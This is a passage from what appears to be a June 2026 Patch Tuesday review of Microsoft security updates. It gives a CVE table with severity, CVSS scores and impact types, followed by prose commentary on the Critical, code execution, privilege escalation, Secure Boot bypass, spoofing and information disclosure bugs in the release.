3.9\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45650</span>\n  Microsoft Bing Search\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45637</span>\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45647</span>\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40371</span>\n  Microsoft Dynamics 365\n  (on-premises) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44822</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45455</span>\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45469</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44817</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-44818</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44820</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44823</span>\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45459</span>\n  Microsoft Excel\n  Security Feature Bypass Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45504</span>\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45502</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45503</span>\n  Microsoft Exchange\n  Server Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45583</span>\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45500</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45501</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47631</span>\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42986</span>\n  Microsoft Graphics\n  Component Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could 